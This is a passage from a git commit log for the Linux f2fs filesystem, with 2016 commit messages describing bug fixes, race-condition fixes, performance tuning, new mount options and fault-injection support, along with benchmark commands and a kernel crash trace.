do_recover_data. So, this patch avoids that situation in advance. Signed-off-by: Jaegeuk Kim commit ac89bc49cdcc0d80c0fa2938621297566685874d Author: Jaegeuk Kim Date: Fri Jul 8 15:16:47 2016 -0700 f2fs: support an ioctl to move a range of data blocks This patch implements moving a range of data blocks from source file to destination file. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/file.c commit 689fdf5f1575f93805493441d23f8931b6de7977 Author: Chao Yu Date: Tue Jul 19 08:27:47 2016 +0800 f2fs: fix to report error number of f2fs_find_entry This patch fixes to report the right error number of f2fs_find_entry to its caller. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/namei.c commit 77ce4d57f3bbe18d06a6c5018d4c47f1c567bd27 Author: Jaegeuk Kim Date: Sat Jul 16 21:59:22 2016 -0700 f2fs: avoid memory allocation failure due to a long length We need to avoid ENOMEM due to unexpected long length. Signed-off-by: Jaegeuk Kim commit c108b5b2f8f4959adca835f3c4d26290b8abfaf2 Author: Chao Yu Date: Fri Jul 15 19:25:47 2016 +0800 f2fs: reset default idle interval value The default value of idle interval is 2 mins, but for most time when screen shutdown, there are still operations during the 2 mins interval, and gc's sleep time is about 30 secs to 60 secs, so there is almost no chance for GC thread to do garbage collecting. Set default value of idle interval value from 2 mins to 5 secs for fixing. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit eeefe680ea0b428539fd5b7f9d1ea0f01292e26c Author: Jaegeuk Kim Date: Wed Jul 13 19:33:19 2016 -0700 f2fs: use blk_plug in all the possible paths This patch reverts 19a5f5e2ef37 (f2fs: drop any block plugging), and adds blk_plug in write paths additionally. The main reason is that blk_start_plug can be used to wake up from low-power mode before submitting further bios. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/file.c commit 7121ca8f6678907890830cba9b596ca8b2da3ad3 Author: Chao Yu Date: Wed Jul 13 09:18:29 2016 +0800 f2fs: fix to avoid data update racing between GC and DIO Datas in file can be operated by GC and DIO simultaneously, so we will face race case as below: For write case: Thread A Thread B - generic_file_direct_write - invalidate_inode_pages2_range - f2fs_direct_IO - do_blockdev_direct_IO - do_direct_IO - get_more_blocks - f2fs_gc - do_garbage_collect - gc_data_segment - move_data_page - do_write_data_page migrate data block to new block address - dio_bio_submit update user data to old block address For read case: Thread A Thread B - generic_file_direct_write - invalidate_inode_pages2_range - f2fs_direct_IO - do_blockdev_direct_IO - do_direct_IO - get_more_blocks - f2fs_balance_fs - f2fs_gc - do_garbage_collect - gc_data_segment - move_data_page - do_write_data_page migrate data block to new block address - write_checkpoint - do_checkpoint - clear_prefree_segments - f2fs_issue_discard discard old block adress - dio_bio_submit update user buffer from obsolete block address In order to fix this, for one file, we should let DIO and GC getting exclusion against with each other. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/data.c commit 11622bc8b3eae251372ef6e4b4a32192ef34f11d Author: Jaegeuk Kim Date: Wed Jul 13 18:23:35 2016 -0700 f2fs: add maximum prefree segments In 1TB storage, we need to admit 22841 prefree segments, which can consume too much segments. This patch sets 8GB in max. prefree segments in that case. Signed-off-by: Jaegeuk Kim commit 1268fee5ae82ba7f7d801e258098930fcc3cb8b3 Author: Jaegeuk Kim Date: Tue Jul 12 11:07:52 2016 -0700 f2fs: disable extent_cache for fcollapse/finsert inodes This reduces the elapsed time to do xfstests/generic/017. Before: 458 s After: 390 s Signed-off-by: Jaegeuk Kim commit 57fd2ad37d0c9a8b4060e51e91c062e88640e48b Author: Jaegeuk Kim Date: Fri Jul 8 17:42:21 2016 -0700 f2fs: refactor __exchange_data_block for speed up This reduces the elapsed time to do xfstests/generic/017. Before: 715 s After: 458 s Signed-off-by: Jaegeuk Kim commit 1a35c3f49b3c28eb413dd1d797b7969a8717d757 Author: Jaegeuk Kim Date: Tue Jul 12 09:38:48 2016 -0700 f2fs: fix ERR_PTR returned by bio This is to fix wrong error pointer handling flow reported by Dan. Reported-by: Dan Carpenter Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit e1fecbcce99afca892901e668143a6577524bef7 Author: Jaegeuk Kim Date: Thu Jun 30 19:09:37 2016 -0700 f2fs: avoid mark_inode_dirty Let's check inode's dirtiness before calling mark_inode_dirty. Signed-off-by: Jaegeuk Kim commit ecf758ac19386a0dd9f35625409ce2898219391e Author: Jaegeuk Kim Date: Thu Jul 7 10:06:23 2016 -0700 f2fs: move i_size_write in f2fs_write_end We don't need to do i_size_write under page lock. Signed-off-by: Jaegeuk Kim commit 3aac35bc7ea6b1e2b80869bac39602159b6cd32c Author: Chao Yu Date: Thu Jul 7 22:46:55 2016 +0800 f2fs: fix to avoid redundant discard during fstrim With below test steps, f2fs will issue redundant discard when doing fstrim, the reason is that we issue discards for both prefree segments and consecutive freed region user wants to trim, part regions they covered are overlapped, here, we change to do not to issue any discards for prefree segments in trimmed range. 1. mount -t f2fs -o discard /dev/zram0 /mnt/f2fs 2. fstrim -o 0 -l 3221225472 -m 2097152 -v /mnt/f2fs/ 3. dd if=/dev/zero of=/mnt/f2fs/a bs=2M count=1 4. dd if=/dev/zero of=/mnt/f2fs/b bs=1M count=1 5. sync 6. rm /mnt/f2fs/a /mnt/f2fs/b 7. fstrim -o 0 -l 3221225472 -m 2097152 -v /mnt/f2fs/ Before: <...>-5428 [001] ...1 9511.052125: f2fs_issue_discard: dev = (251,0), blkstart = 0x2200, blklen = 0x200 <...>-5428 [001] ...1 9511.052787: f2fs_issue_discard: dev = (251,0), blkstart = 0x2200, blklen = 0x300 After: <...>-6764 [000] ...1 9720.382504: f2fs_issue_discard: dev = (251,0), blkstart = 0x2200, blklen = 0x300 Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 7b68f73ff5de08d21eb3d2827c2428f0a67324cc Author: Yunlei He Date: Thu Jul 7 12:13:33 2016 +0800 f2fs: avoid mismatching block range for discard This patch skip discard block range smaller than trim_minlen, and can not be merged by neighbour Signed-off-by: Yunlei He Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 5f4004acae59cefa9059ff643b5bb64e713797c4 Author: Chao Yu Date: Wed Jul 6 14:13:07 2016 +0800 f2fs: fix incorrect f_bfree calculation in ->statfs As manual described, f_bfree indicates total free blocks in fs, in f2fs, it includes two parts: visible free blocks and over-provision blocks. This patch corrrects the calculation. fsblkcnt_t f_bfree; /* free blocks in fs */ Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 775dd5a3eac649ea44ac00c9f7680ae0ed29bc30 Author: Jaegeuk Kim Date: Thu Jun 30 19:04:16 2016 -0700 f2fs: skip to check the block address of node page If the node page is up-to-date, it should be alive. Signed-off-by: Jaegeuk Kim commit 174d6b868d06dcb2b0f25649692316eb6548f36d Author: Jaegeuk Kim Date: Thu Jun 30 19:02:06 2016 -0700 f2fs: shrink critical region in spin_lock This patch shrinks the critical region in spin_lock. Signed-off-by: Jaegeuk Kim commit 321262b35ce29d0a8b7a7897cd0dfcdf2fba7a44 Author: Jaegeuk Kim Date: Thu Jun 30 18:49:15 2016 -0700 f2fs: call SetPageUptodate if needed SetPageUptodate() issues memory barrier, resulting in performance degrdation. Let's avoid that. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/data.c commit e54c60f0cbd7459eebfc96186576bceb1375083c Author: Jaegeuk Kim Date: Thu Jun 30 18:40:10 2016 -0700 f2fs: introduce f2fs_set_page_dirty_nobuffer This patch adds f2fs_set_page_dirty_nobuffer() copied from __set_page_dirty_buffer. When appending 4KB blocks in f2fs on pmem with multiple cores, this improves the overall performance. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/f2fs.h commit 0e3a581d973cdac387b420e2bc4c70bd6c1df986 Author: Tiezhu Yang Date: Tue Jun 28 07:27:59 2016 +0800 f2fs: remove unnecessary goto statement When base_addr is NULL, there is no need to call kzfree, it should return -ENOMEM directly. Additionally, it is better to initialize variable 'error' with 0. Signed-off-by: Tiezhu Yang Signed-off-by: Jaegeuk Kim commit b5c4dc430d894f3f5ce2f7f5e23605a6a697460a Author: Chao Yu Date: Sun Jul 3 22:05:14 2016 +0800 f2fs: add nodiscard mount option This patch adds 'nodiscard' mount option. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: Documentation/filesystems/f2fs.txt commit 070d1c4dfb1268ca2122f473ae3181831244a36d Author: Chao Yu Date: Sun Jul 3 22:05:13 2016 +0800 f2fs: fix to redirty page if fail to gc data page If we fail to move data page during foreground GC, we should give another chance to writeback that page which was set dirty previously by writer. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit f010fc88f9469da30b8f6d127040c4d5a1a1e4df Author: Chao Yu Date: Sun Jul 3 22:05:12 2016 +0800 f2fs: fix to detect truncation prior rather than EIO during read In procedure of synchonized read, after sending out the read request, reader will try to lock the page for waiting device to finish the read jobs and unlock the page, but meanwhile, truncater will race with reader, so after reader get lock of the page, it should check page's mapping to detect whether someone has truncated the page in advance, then reader has the chance to do the retry if truncation was done, otherwise read can be failed due to previous condition check. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit e496b4e101e20202c3d845177045639ea11b89ca Author: Chao Yu Date: Sun Jul 3 22:05:11 2016 +0800 f2fs: fix to avoid reading out encrypted data in page cache For encrypted inode, if user overwrites data of the inode, f2fs will read encrypted data into page cache, and then do the decryption. However reader can race with overwriter, and it will see encrypted data which has not been decrypted by overwriter yet. Fix it by moving decrypting work to background and keep page non-uptodated until data is decrypted. Thread A Thread B - f2fs_file_write_iter - __generic_file_write_iter - generic_perform_write - f2fs_write_begin - f2fs_submit_page_bio - generic_file_read_iter - do_generic_file_read - lock_page_killable - unlock_page - copy_page_to_iter hit the encrypted data in updated page - lock_page - fscrypt_decrypt_page Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/data.c commit 0bd4129cda86add5cbcc9a3848b294ed0ebbd48e Author: Jaegeuk Kim Date: Thu Jun 16 17:03:23 2016 -0700 f2fs: avoid latency-critical readahead of node pages The f2fs_map_blocks is very related to the performance, so let's avoid any latency to read ahead node pages. Signed-off-by: Jaegeuk Kim commit 37fea99d899391f1c4f81731657efc9cae1de7ec Author: Jaegeuk Kim Date: Thu Jun 16 16:44:11 2016 -0700 f2fs: avoid writing node/metapages during writes Let's keep more node/meta pages in run time. Signed-off-by: Jaegeuk Kim commit fe4af461fd81a872ee1d732ac9c7a6a6e079bc1e Author: Jaegeuk Kim Date: Thu Jun 16 16:41:49 2016 -0700 f2fs: produce more nids and reduce readahead nats The readahead nat pages are more likely to be reclaimed quickly, so it'd better to gather more free nids in advance. And, let's keep some free nids as much as possible. Signed-off-by: Jaegeuk Kim commit 580c134b5255f6f599b0d69ff51c1addf768d52e Author: Jaegeuk Kim Date: Mon Jun 13 09:47:48 2016 -0700 f2fs: detect host-managed SMR by feature flag If mkfs.f2fs gives a feature flag for host-managed SMR, we can set mode=lfs by default. Signed-off-by: Jaegeuk Kim commit fd3dab810def35e605cd3117f5e1b8c3e6a6912e Author: Jaegeuk Kim Date: Mon Jun 13 18:27:02 2016 -0700 f2fs: call update_inode_page for orphan inodes Let's store orphan inode pages right away. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/namei.c commit 1685f059332916e5cab7dcb27cd9dc2eed18c7e9 Author: Jaegeuk Kim Date: Thu Jun 9 14:57:19 2016 -0700 f2fs: report error for f2fs_parent_dir If there is no dentry, we can report its error correctly. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/namei.c commit 67194c9abeaecefb34a0d312e6d8a711ab2550f9 Author: Sheng Yong Date: Sat Jun 4 22:01:28 2016 +0800 f2fs: find parent dentry correctly If dotdot directory is corrupted, its slot may be ocupied by another file. In this case, dentry[1] is not the parent directory. Rename and cross-rename will update the inode in dentry[1] incorrectly. This patch finds dotdot dentry by name. Signed-off-by: Sheng Yong [Jaegeuk Kim: remove wron bug_on] Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/f2fs.h commit b7721894dc3805add35ea60fdc3324c29cb1aa6b Author: Jaegeuk Kim Date: Tue Jun 7 14:34:22 2016 -0700 f2fs: fix deadlock in add_link failure mkdir sync_dirty_inode - init_inode_metadata - lock_page(node) - make_empty_dir - filemap_fdatawrite() - do_writepages - lock_page(data) - write_page(data) - lock_page(node) - f2fs_init_acl - error - truncate_inode_pages - lock_page(data) So, we don't need to truncate data pages in this error case, which will be done by f2fs_evict_inode. Signed-off-by: Jaegeuk Kim commit 72c0d62bd58640f9bca4109b2ace2631b801304b Author: Jaegeuk Kim Date: Fri Jun 3 19:29:38 2016 -0700 f2fs: introduce mode=lfs mount option This mount option is to enable original log-structured filesystem forcefully. So, there should be no random writes for main area. Especially, this supports host-managed SMR device. Signed-off-by: Jaegeuk Kim commit b4baf7834a3e3fa55678d73e68e1a10cb52f26cb Author: Jaegeuk Kim Date: Mon Jun 6 18:49:54 2016 -0700 f2fs: skip clean segment for gc If a segment in a section is clean or prefreed, we don't need to get its summary and do gc. Signed-off-by: Jaegeuk Kim commit 927fff9c4353d0f5e9e3cda93c82fb3bcd87c39e Author: Jaegeuk Kim Date: Sat Jun 4 14:25:24 2016 -0700 f2fs: drop any block plugging In f2fs, we don't need to keep block plugging for NODE and DATA writes, since we already merged bios as much as possible. Signed-off-by: Jaegeuk Kim commit 0480cad905f206f0d276d46dc09db15b30868362 Author: Jaegeuk Kim Date: Sat Jun 4 14:21:28 2016 -0700 f2fs: avoid reverse IO order for NODE and DATA There is a data race between allocate_data_block() and f2fs_sbumit_page_mbio(), which incur unnecessary reversed bio submission. Signed-off-by: Jaegeuk Kim commit 664fce9ac9e0ffcaff5d84a4a50085f54dc48af0 Author: Jaegeuk Kim Date: Fri Jun 3 12:28:26 2016 -0700 f2fs: set mapping error for EIO If EIO occurred, we need to set all the mapping to avoid any further IOs. Signed-off-by: Jaegeuk Kim commit 67a41f89ae10f474a34b3b5ba2d3f700fb1e372f Author: Jaegeuk Kim Date: Thu Jun 2 15:24:24 2016 -0700 f2fs: control not to exceed # of cached nat entries This is to avoid cache entry management overhead including radix tree. Signed-off-by: Jaegeuk Kim commit fba9cff8c9a1d1bccc08c15aa9dcf26db19cae41 Author: Jaegeuk Kim Date: Thu Jun 2 15:26:27 2016 -0700 f2fs: fix wrong percentage This should be 1%, 10MB / 1GB. Signed-off-by: Jaegeuk Kim commit 328b655f4f88b76313a35e6c6c97ae2398982624 Author: Jaegeuk Kim Date: Thu Jun 2 14:15:56 2016 -0700 f2fs: avoid data race between FI_DIRTY_INODE flag and update_inode FI_DIRTY_INODE flag is not covered by inode page lock, so it can be unset at any time like below. Thread #1 Thread #2 - lock_page(ipage) - update i_fields - update i_size/i_blocks/and so on - set FI_DIRTY_INODE - reset FI_DIRTY_INODE - set_page_dirty(ipage) In this case, we can lose the latest i_field information. Signed-off-by: Jaegeuk Kim commit 9c4cfdc1eba33b46e51e7f767f61fb15acdc0229 Author: Jaegeuk Kim Date: Thu Jun 2 13:49:38 2016 -0700 f2fs: remove obsolete parameter in f2fs_truncate We don't need lock parameter, which is always true. Signed-off-by: Jaegeuk Kim commit f64aaeae0f117597be17002ff0cdbe913257333f Author: Jaegeuk Kim Date: Thu Jun 2 11:08:56 2016 -0700 f2fs: avoid wrong count on dirty inodes The number should be covered by spin_lock. Otherwise we can see wrong count in f2fs_stat. Signed-off-by: Jaegeuk Kim commit 0062136090b8de2c1b936e8d25ef6949389493f9 Author: Jaegeuk Kim Date: Wed Jun 1 21:18:25 2016 -0700 f2fs: remove deprecated parameter Remove deprecated paramter. Signed-off-by: Jaegeuk Kim commit c2f412951fcea7770f81410356a0d7d78677a5b4 Author: Jaegeuk Kim Date: Sun May 29 21:18:23 2016 -0700 f2fs: handle writepage correctly Previously, f2fs_write_data_pages() calls __f2fs_writepage() which calls f2fs_write_data_page(). If f2fs_write_data_page() returns AOP_WRITEPAGE_ACTIVATE, __f2fs_writepage() calls mapping_set_error(). But, this should not happen at every time, since sometimes f2fs_write_data_page() tries to skip writing pages without error. For example, volatile_write() gives EIO all the time, as Shuoran Liu pointed out. Reported-by: Shuoran Liu Signed-off-by: Jaegeuk Kim commit 246bda94b558735fc2875a52bd9d8a6d4b03c2ce Author: Jaegeuk Kim Date: Fri May 27 10:10:41 2016 -0700 f2fs: return error of f2fs_lookup Now we can report an error to f2fs_lookup given by f2fs_find_entry. Suggested-by: He YunLei Signed-off-by: Jaegeuk Kim commit a5a3ef82fe9f5f54b4af989a694a0f8d01c7602d Author: Yunlong Song Date: Thu May 26 19:40:29 2016 +0800 f2fs: return the errno to the caller to avoid using a wrong page Commit aaf9607516ed38825268515ef4d773289a44f429 ("f2fs: check node page contents all the time") pointed out that "sometimes it was reported that its contents was missing", so it checks the page's mapping and contents. When "nid != nid_of_node(page)", ERR_PTR(-EIO) will be returned to the caller. However, commit e1c51b9f1df2f9efc2ec11488717e40cd12015f9 ("f2fs: clean up node page updating flow") moves "nid != nid_of_node(page)" test to "f2fs_bug_on(sbi, nid != nid_of_node(page))", this will return a wrong page to the caller when F2FS_CHECK_FS is off when "sometimes it was reported that its contents was missing" happens. This patch restores to check node page contents all the time, and returns the errno to make the caller known something is wrong and avoid to use the page. This patch also moves f2fs_bug_on to its proper location. Signed-off-by: Yunlong Song Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/node.c commit 23f29287f442b1b6c8170b6774a67568a7aba725 Author: Jaegeuk Kim Date: Wed May 25 20:57:16 2016 -0700 f2fs: remove two steps to flush dirty data pages If there is no cold page, we don't need to do a loop to flush dirty data pages. On /dev/pmem0, 1. dd if=/dev/zero of=/mnt/test/testfile bs=1M count=2048 conv=fsync Before : 1.1 GB/s After : 1.2 GB/s 2. dd if=/dev/zero of=/mnt/test/testfile bs=1M count=2048 Before : 2.2 GB/s After : 2.3 GB/s Signed-off-by: Jaegeuk Kim commit bf56cb7df5c715ee9b5a54fb9b041d96e2b9d862 Author: Jaegeuk Kim Date: Wed May 25 17:17:56 2016 -0700 f2fs: do not skip writing data pages For data pages, let's try to flush as much as possible in background. On /dev/pmem0, 1. dd if=/dev/zero of=/mnt/test/testfile bs=1M count=2048 conv=fsync Before : 800 MB/s After : 1.1 GB/s 2. dd if=/dev/zero of=/mnt/test/testfile bs=1M count=2048 Before : 1.3 GB/s After : 2.2 GB/s Signed-off-by: Jaegeuk Kim commit 0a0091d700b15bfabc0386d79e5627277502c5f3 Author: Jaegeuk Kim Date: Wed May 25 15:24:18 2016 -0700 f2fs: inject to produce some orphan inodes Signed-off-by: Jaegeuk Kim commit 9055dad7947e9ef76b6644ea1a4fb50d4e0036b2 Author: Jaegeuk Kim Date: Wed May 25 14:29:11 2016 -0700 f2fs: propagate error given by f2fs_find_entry If we get ENOMEM or EIO in f2fs_find_entry, we should stop right away. Otherwise, for example, we can get duplicate directory entry by ->chash and ->clevel. Signed-off-by: Jaegeuk Kim commit ab41098b0ce14fe62c555d3f7a40d3dd6a589315 Author: Jaegeuk Kim Date: Fri May 20 22:50:29 2016 -0700 f2fs: remove writepages lock This patch removes writepages lock. We can improve multi-threading performance. tiobench, 32 threads, 4KB write per fsync on SSD Before: 25.88 MB/s After: 28.03 MB/s Signed-off-by: Jaegeuk Kim commit b7fccc9015c7f335be6f4eb614d3b2fe22f82358 Author: Jaegeuk Kim Date: Fri May 20 22:39:20 2016 -0700 f2fs: set flush_merge by default This patch sets flush_merge by default. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/super.c commit 484bc192af6bfd36fc07db6812e84bf8053a9a69 Author: Jaegeuk Kim Date: Mon May 23 12:04:56 2016 -0700 f2fs: detect congestion of flush command issues If flush commands do not incur any congestion, we don't need to throw that to dispatching queue which causes unnecessary latency. Signed-off-by: Jaegeuk Kim commit cef1adc2fe0cd6bc5cf79ac565ecfa0f16bb1883 Author: Jaegeuk Kim Date: Fri May 20 20:42:37 2016 -0700 f2fs: avoid unnecessary updating inode during fsync If roll-forward recovery can recover i_size, we don't need to update inode's metadata during fsync. Signed-off-by: Jaegeuk Kim commit ceccf74be7b6f46ecc11946c062ccd11f0a542b5 Author: Jaegeuk Kim Date: Fri May 20 16:32:49 2016 -0700 f2fs: remove syncing inode page in all the cases This patch reduces to call them across the whole tree. - sync_inode_page() - update_inode_page() - update_inode() - f2fs_write_inode() Instead, checkpoint will flush all the dirty inode metadata before syncing node pages. Note that, this is doable, since we call mark_inode_dirty_sync() for all inode's field change which needs to update on-disk inode as well. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/namei.c commit bc03303b194638b203316093008829dce5044b1c Author: Jaegeuk Kim Date: Fri May 20 11:10:10 2016 -0700 f2fs: flush inode metadata when checkpoint is doing This patch registers all the inodes which have dirty metadata to sync when checkpoint is doing. Signed-off-by: Jaegeuk Kim commit eed556e1ab80500d91efcd7890b9f2e3694ccf2f Author: Jaegeuk Kim Date: Fri May 20 09:52:20 2016 -0700 f2fs: call mark_inode_dirty_sync for i_field changes This patch calls mark_inode_dirty_sync() for the following on-disk inode changes. -> largest -> ctime/mtime/atime -> i_current_depth -> i_xattr_nid -> i_pino -> i_advise -> i_flags -> i_mode Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/acl.c fs/f2fs/inode.c fs/f2fs/namei.c commit e8182069105f37d038a2aaeab3dede2446cb3470 Author: Jaegeuk Kim Date: Fri May 20 09:43:20 2016 -0700 f2fs: introduce f2fs_i_links_write with mark_inode_dirty_sync This patch introduces f2fs_i_links_write() to call mark_inode_dirty_sync() when changing inode->i_links. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/namei.c commit bfc770b9d92fac0e8477611bef486bc935a0fcfe Author: Jaegeuk Kim Date: Fri May 20 09:26:06 2016 -0700 f2fs: introduce f2fs_i_blocks_write with mark_inode_dirty_sync This patch introduces f2fs_i_blocks_write() to call mark_inode_dirty_sync() when changing inode->i_blocks. Signed-off-by: Jaegeuk Kim commit 354f00687cb8f48e79785b6ef3ddf18c0ae0e937 Author: Jaegeuk Kim Date: Fri May 20 09:22:03 2016 -0700 f2fs: introduce f2fs_i_size_write with mark_inode_dirty_sync This patch introduces f2fs_i_size_write() to call mark_inode_dirty_sync() with i_size_write(). Signed-off-by: Jaegeuk Kim commit aa6cdd23b11d5a707eef038fa431aeb0e25a5b0e Author: Jaegeuk Kim Date: Fri May 20 10:13:22 2016 -0700 f2fs: use inode pointer for {set, clear}_inode_flag This patch refactors to use inode pointer for set_inode_flag and clear_inode_flag. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/acl.c fs/f2fs/file.c fs/f2fs/namei.c commit 01cc7b46ea7110bbccd54c2a4fe11d938c022572 Author: Jaegeuk Kim Date: Wed Jun 1 20:55:51 2016 -0700 Revert "f2fs: no need inc dirty pages under inode lock" This reverts commit b951a4ec165af4973b2bd9c80fb5845fbd840435. Conflicts: fs/f2fs/checkpoint.c commit 24f8d5eaa55814ca76e862787a08659ed907f6b0 Author: Jaegeuk Kim Date: Thu Jun 2 16:45:12 2016 -0700 f2fs: adjust other changes This patch changes: - PAGE_CACHE_* - inode_lock Signed-off-by: Jaegeuk Kim commit 6f57150a12831f0791dc47ce616934e18422aa20 Author: Chao Yu Date: Sat May 21 00:11:09 2016 +0800 f2fs: fix to update dirty page count correctly Once we failed to merge inline data into inode page during flushing inline inode, we will skip invoking inode_dec_dirty_pages, which makes dirty page count incorrect, result in panic in ->evict_inode, Fix it. ------------[ cut here ]------------ kernel BUG at /home/yuchao/git/devf2fs/inode.c:336! invalid opcode: 0000 [#1] PREEMPT SMP CPU: 3 PID: 10004 Comm: umount Tainted: G O 4.6.0-rc5+ #17 Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006 task: f0c33000 ti: c5212000 task.ti: c5212000 EIP: 0060:[] EFLAGS: 00010202 CPU: 3 EIP is at f2fs_evict_inode+0x85/0x490 [f2fs] EAX: 00000001 EBX: c4529ea0 ECX: 00000001 EDX: 00000000 ESI: c0131000 EDI: f89dd0a0 EBP: c5213e9c ESP: c5213e78 DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068 CR0: 80050033 CR2: b75878c0 CR3: 1a36a700 CR4: 000406f0 Stack: c4529ea0 c4529ef4 c5213e8c c176d45c c4529ef4 00000000 c4529ea0 c4529fac f89dd0a0 c5213eb0 c1204a68 c5213ed8 c452a2b4 c6680930 c5213ec0 c1204b64 c6680d44 c6680620 c5213eec c120588d ee84b000 ee84b5c0 c5214000 ee84b5e0 Call Trace: [] ? _raw_spin_unlock+0x2c/0x50 [] evict+0xa8/0x170 [] dispose_list+0x34/0x50 [] evict_inodes+0x10d/0x130 [] generic_shutdown_super+0x41/0xe0 [] ? unregister_shrinker+0x40/0x50 [] ? unregister_shrinker+0x40/0x50 [] kill_block_super+0x22/0x70 [] kill_f2fs_super+0x1e/0x20 [f2fs] [] deactivate_locked_super+0x3d/0x70 [] deactivate_super+0x43/0x60 [] cleanup_mnt+0x39/0x80 [] __cleanup_mnt+0x10/0x20 [] task_work_run+0x71/0x90 [] exit_to_usermode_loop+0x72/0x9e [] do_fast_syscall_32+0x19c/0x1c0 [] sysenter_past_esp+0x45/0x74 EIP: [] f2fs_evict_inode+0x85/0x490 [f2fs] SS:ESP 0068:c5213e78 ---[ end trace d30536330b7fdc58 ]--- Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 457e51794ee5a56e2ba19d9bf58d79b2a4d7db42 Author: Jaegeuk Kim Date: Wed May 18 14:07:56 2016 -0700 f2fs: flush pending bios right away when error occurs Given errors, this patch flushes pending bios as soon as possible. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/file.c commit dd874a863b66b120a51b83554b488af8f2ecbee7 Author: Jaegeuk Kim Date: Thu May 19 11:57:21 2016 -0700 f2fs: avoid ENOSPC fault in the recovery process This patch avoids impossible error injection, ENOSPC, during recovery process. Signed-off-by: Jaegeuk Kim commit de7cf940e913b1905ba23743bedaea9d25b7e69f Author: Tiezhu Yang Date: Wed May 18 08:02:25 2016 +0800 f2fs: make exit_f2fs_fs more clear init_f2fs_fs does: 1) f2fs_build_trace_ios 2) init_inodecache 3) create_node_manager_caches 4) create_segment_manager_caches 5) create_checkpoint_caches 6) create_extent_cache 7) kset_create_and_add 8) kobject_init_and_add 9) register_shrinker 10) register_filesystem 11) f2fs_create_root_stats 12) proc_mkdir exit_f2fs_fs should do cleanup in the reverse order to make the code more clear. Signed-off-by: Tiezhu Yang Signed-off-by: Jaegeuk Kim commit ccc29a51ea659d5079d0d160ae7035d358815a3a Author: Jaegeuk Kim Date: Mon May 16 11:42:32 2016 -0700 f2fs: use percpu_counter for total_valid_inode_count This patch uses percpu_counter to avoid stat_lock. Signed-off-by: Jaegeuk Kim commit fc32307a85414a9776a8803211b9b4e36238b5c7 Author: Jaegeuk Kim Date: Mon May 16 11:06:50 2016 -0700 f2fs: use percpu_counter for alloc_valid_block_count This patch uses percpu_count for sbi->alloc_valid_block_count. Signed-off-by: Jaegeuk Kim commit 41b65b7ea149ad81ac7d30d696f71a45b2dd380e Author: Jaegeuk Kim Date: Fri May 13 12:47:11 2016 -0700 f2fs: use percpu_counter for # of dirty pages in inode This patch adds percpu_counter for # of dirty pages in inode. Signed-off-by: Jaegeuk Kim commit 77f7d2716cd4a20d88ea86817dcef5d1553a8ef6 Author: Jaegeuk Kim Date: Fri May 13 12:36:58 2016 -0700 f2fs: use percpu_counter for page counters This patch substitutes percpu_counter for atomic_counter when counting various types of pages. Signed-off-by: Jaegeuk Kim commit 635ae5f7b1b6c3bea5b5b75ddafaa5129699d72f Author: Jaegeuk Kim Date: Tue May 17 16:23:36 2016 -0700 f2fs: use bio count instead of F2FS_WRITEBACK page count This can reduce page counting overhead. Signed-off-by: Jaegeuk Kim commit 941d28aefeeefc2892acf8e712cabf23b60a25ee Author: Jaegeuk Kim Date: Mon May 16 10:33:40 2016 -0700 f2fs: manipulate dirty file inodes when DATA_FLUSH is set It needs to maintain dirty file inodes only if DATA_FLUSH is set. Otherwise, let's avoid its overhead. Signed-off-by: Jaegeuk Kim commit c28b689e9448977e189d5566fe5697345478d91d Author: Sheng Yong Date: Mon May 16 12:38:50 2016 +0800 f2fs: add fault injection to sysfs This patch introduces a new struct f2fs_fault_info and a global f2fs_fault to save fault injection status. Fault injection entries are created in /sys/fs/f2fs/fault_injection/ during initializing f2fs module. Signed-off-by: Sheng Yong Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/super.c commit c50cae5614852f783396b8c743a752cb05f95bc0 Author: Yunlei He Date: Fri May 13 14:57:43 2016 +0800 f2fs: no need inc dirty pages under inode lock No need inc dirty pages under inode lock Signed-off-by: Yunlei He Signed-off-by: Jaegeuk Kim commit e8b084f0c83cb760cfa032d14beb9cabe7870a90 Author: Chao Yu Date: Sat May 14 19:03:53 2016 +0800 f2fs: fix incorrect error path handling in f2fs_move_rehashed_dirents Fix two bugs in error path of f2fs_move_rehashed_dirents: - release dir's inode page if fail to call kmalloc - recover i_current_depth if fail to converting Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 9a7cedf45257f1699fe488fb9cbb98c8d0f1a236 Author: Chao Yu Date: Sat May 14 19:03:52 2016 +0800 f2fs: fix i_current_depth during inline dentry conversion With below steps, we will see that dentry page becoming unaccessable later. This is because we forget updating i_current_depth in inode during inline dentry conversion, after that, once we failed at somewhere, it will leave i_current_depth as 0 in non-inline directory. Then, during ->lookup, the current_depth value makes all dentry pages in first level invisible. Fix it. 1) mount f2fs with inline_dentry option 2) mkdir dir 3) touch 180 files named [0-179] in dir 4) touch 180 in dir (fail after inline dir conversion) 5) ll dir ls: cannot access /mnt/f2fs/dir/0: No such file or directory ls: cannot access 